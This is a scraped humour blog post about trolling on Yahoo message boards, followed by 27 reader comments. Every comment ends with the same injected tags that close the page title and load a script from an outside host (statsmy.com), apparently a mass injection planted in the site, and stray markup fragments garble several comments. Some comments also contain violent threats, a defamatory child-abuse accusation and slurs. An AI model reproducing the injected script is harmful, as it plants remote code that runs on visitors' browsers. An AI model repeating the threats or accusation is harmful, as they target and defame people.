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Piss or get off the Message Board
by Mark on 2/18/2004 (27)

Typical example of Trollus Vulgaris
When I was growing up, my mom had a really disturbing way of driving a point home: "Piss or get off the pot!" was a favorite expression of hers, the meaning of which was unclear to me. She'd belt it out in that screechy barbershop razor voice of hers, and bring the kids, the dad and a house fulla friends down in a squirming cacophony of agonized protest.

My friends would usually leave...can't blame 'em.

But, being a grown up now myself, I've come to appreciate what ol' mom REALLY meant in that acid bath phrase of hers.

That established, ever visit Yahoo! message boards? Go to any story on Yahoo, and, at the bottom of each story is a message board. I really, really believe the guys at Yahoo started message boards to encourage lively, educated debate on the corresponding topic.

Of course things rarely turn out that way, and not only have I come to appreciate the shocking abomination that Yahoo message boards have become, I find myself seeking them out BEFORE I read the story. Why?

Posters, under a veil of presumed anonymity, spill their guts. They tell you what they really feel, not the polite, sugar coated stock responses that you hear in public. That's what I WANT to hear. I want to know the straight truth, the real deal...

I've gleaned some real street smarts from the boards. If a story reads:

"Domestic spending down 3 percent, DOW loses 100 points"

You can expect a post by "felonious_chimp" to read:

"HOW MUCH LONGER WILL THIS BUSH-SHIT CONTINUE, DUMBYA?"

Promptly countered by "napalm_ cornflakes" shotgun response:

"YOU EAT YOUR OWN TURDS AND USE FART JUICE AS GRAVY"

Typed in all capital letters, of course.

Yahoo throws another kicker in, the "recommendation". If you like the post you can recommend it. Getting a recommendation is a coveted social sanction of sorts, and is the crown jewel of chronic, rut-worn posters called "trolls".

What's the best way to get recommended?

Don't write anything intelligent or supported by facts. Even if you construct a solid argument, complete with supporting links, you may only get 1 or 2 recommendations for all the effort.

I've found the best way to get 10+ recommendations is to use one phrase insults ala Schwarzenegger:



"F UCK YOU A SSHOLE" will always get you a few, being carefull to leave a space between the A and the S, and the F and the U to bypass obscenity censors, of course.

Any references to Trailer Trash, lack of education, racial intimidation, sexism, body odor, teeth, or lack thereof, seem to work equally well.

Sounds depressing, and it is, but it's the real deal. It's what's on the mind of the average man on the street. Lowest common denominator? Of course. Lowest common denominator is a tried and true favorite of attention seekers everywhere and everywhen. It worked for Hitler in the last century, and is used with equal, though less lethal effect by Howard Stern, Jerry Springer, Maury Povich, and countless shock jocks and shag hags worldwide. Tell it like it is. That's what mom meant. Give it up straight. Piss or get off the pot.

Before I go and comb down the hairs standing up on the back of my neck, I'd like to offer one recommendation of my own. Never, EVER bring your friends over when moms on one of her warpath days, or you'll never live it down, and let dad get out of the house more often, alone.


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Comments

1. by whiney broke liberal on 3/1/2007 4:52:29 PM
Yahoo is the most biased liberal puke page on the web. You'd think they wall ork for Kerry. Sometimes I think Yahoo actually wants America to fail.h="0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by feaglin on 3/1/2007 4:52:29 PM
America has failed, it was started by satanic dictators and it is still ruled by them, in fact, the same bloodrelated family... but I won't get Yahoo recommendations for that, it's more truth than most people can handle I can type: BILL CLINTON USED TO HAVE SEX WITH CHILDREN WHILE BUSH SR. FILMED IT maybe I should, it's the truth and is very controversial... 10+ recommendations at least... now a good topic under which to post itisplay:none </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by my comment is on 3/1/2007 4:52:29 PM
no commentisplay:none"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Mark Motz, author on 3/1/2007 4:52:29 PM
thanks for the comment! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by feaglin on 3/1/2007 4:52:29 PM
recommendation to that comment"0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by My mom said on 3/1/2007 4:52:29 PM
Shit or get off the pot... it means make a decision or get the fuck out the way.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by uber troll on 3/1/2007 4:52:29 PM
F UCK YOU A SSHOLEispla </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by wtf on 3/1/2007 4:52:29 PM
Er... what My Mom Said said. Your mom used this phrase all the time and you don't even know what it means? And then write an entire article about it without bothering to find out what it means? This is stupid.<i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Jack Parker on 3/1/2007 4:52:29 PM
AL GORE INVENTED YOU.is </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by YoMommasTroll on 3/1/2007 4:52:29 PM
"Piss or get off the pot" jagoff What a F uc K ing whiner I raised Rack the Trolls or shaddup. src= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by JacobTHECrusader on 3/1/2007 4:52:29 PM
Anyone seen fatsak?ispl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by ROIDTROLL on 3/1/2007 4:52:29 PM
FCUK YU MOTHERF CUER. IF I EVER SEE YOU I WLL SNAP YOUR NECK LIKE A FU KING STIKK. I WILL CRUSH YOUR SKULL WITH A ROCK, TWIGBOY. I BET YOU STILL LIVE WITH YOU'RE MOM. I WILL KICK HER ASS TO. SEND ME YOUR ADDRESS RIGHT NPW SO ICAN COME OVER AND FUC K YOU UP. I CAN BUY A PLANE TIKET AND BE THER SOONtp: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by JacobTHECrusader on 3/1/2007 4:52:29 PM
Ripper? Is that you? How do you post pics in here? And where is the self-fulfillment area? Thanks.< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by ROIDTROLL on 3/1/2007 4:52:29 PM
WHAT DID YOUC ALL ME?!?! YOU THINK IM JOEKING? I BENCH 400 POUNDS. I WILL RIPPER YOUR ARMS OFF AND SHOVE THEM UP YOU'RE HOLE FAMILYS A SS YOU PUSY. I ACNT AFFORD 2 PLANE TIKETS TILL NEXT MONTH SO YOU WILL HAVE TO WATE FOR ME TO KICK YOUR PAIL SKRAWNY A SS. I WONT FORGET </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by Mark Motz, author on 3/1/2007 4:52:29 PM
"How do you post pics in here? And where is the self-fulfillment area? Thanks" by JacobTHEcrusader Good suggestion! I'll run that by the boss and see if we can do that! Motz </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
16. by RadiomanATL on 3/1/2007 4:52:29 PM
LOL. This is hilarious. And how ironic that the comment list corresponding to the article is just like a Yahoo MBone">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
17. by your worst nightmare on 3/1/2007 4:52:29 PM
ROIDTROLL, I don't giv a f uck if you can press 400 pounds, My 44 mqagnum can f uck you up LOL just like yahoo!!!!!!!!!!!!!!11is </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
18. by Mark Motz, author on 3/1/2007 4:52:29 PM
hehe...it DOES look like a Yahoo board! In a way, it illustrates that "moderating" a message board strips it of its identity. Whenever you censor, you lose valuable insight. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
19. by RE: Tard on 3/1/2007 4:52:29 PM
http://www.1studios.com/~hunter/pub/image/arguing.jpg Go there.go. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
20. by RE: Tard on 3/1/2007 4:52:29 PM
I love arguing on the Internet, especially when my opponent takes the argument seriously and actually thinks he can make a convincing point. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
21. by RE: Tard on 3/1/2007 4:52:29 PM
ROIDTROLL: I love you! <a href=f>f</a>ig </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
22. by RE: Tard on 3/1/2007 4:52:29 PM
I guess html works. <a href=http://www.1studios.com/~hunter/pub/image/arguing.jpg>http://www.1studios.com/~hunter/pub/image/arguing.jpg</a>" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
23. by saving_public_wry_un on 3/1/2007 4:52:29 PM
Hey, Mark is one fast guy! He and guys like Brent Flynn are going places! And guess what?! I just went someplace myself. And after that I had to create a depostion that took 14 days to explain what I had written, which I just gave to the DA on Monday. It was on a local message board associated with my small town. Felony, of course. A coupla semi-colons in the 'right place' is roughly equivalent to knocking physical holes in the Pentagon in case you're now just discovering.... Circum-tele-cision 'advisors' can meet you at your doorstep! There were 8 squad cars in front of my house waiting for me a few days after the post had begun to unearth to the consciousness of the loco (erm..meant 'local,' of course) populace! Does anybody have any tips on how one can loosen teeth and draw the blood of local law enforcement and judicial bodies using a civil suit? (Mark Motz, your writing is very, very good!) </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
24. by saving.... on 3/1/2007 4:52:29 PM
#23 posted April 29, 2004. First appearance on May 7, 2004.? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
25. by Mark Motz on 3/1/2007 4:52:29 PM
awww shucks, Ima blushin...!"0" sty </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
26. by felonious_chimp on 3/1/2007 4:52:29 PM
HOW MUCH LONGER WILL THIS BUSH-SHIT CONTINUE, DUMBYA??sid=1" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
27. by napalm_cornflakes on 3/1/2007 4:52:29 PM
YOU EAT YOUR OWN TURDS AND USE FART JUICE AS GRAVYi </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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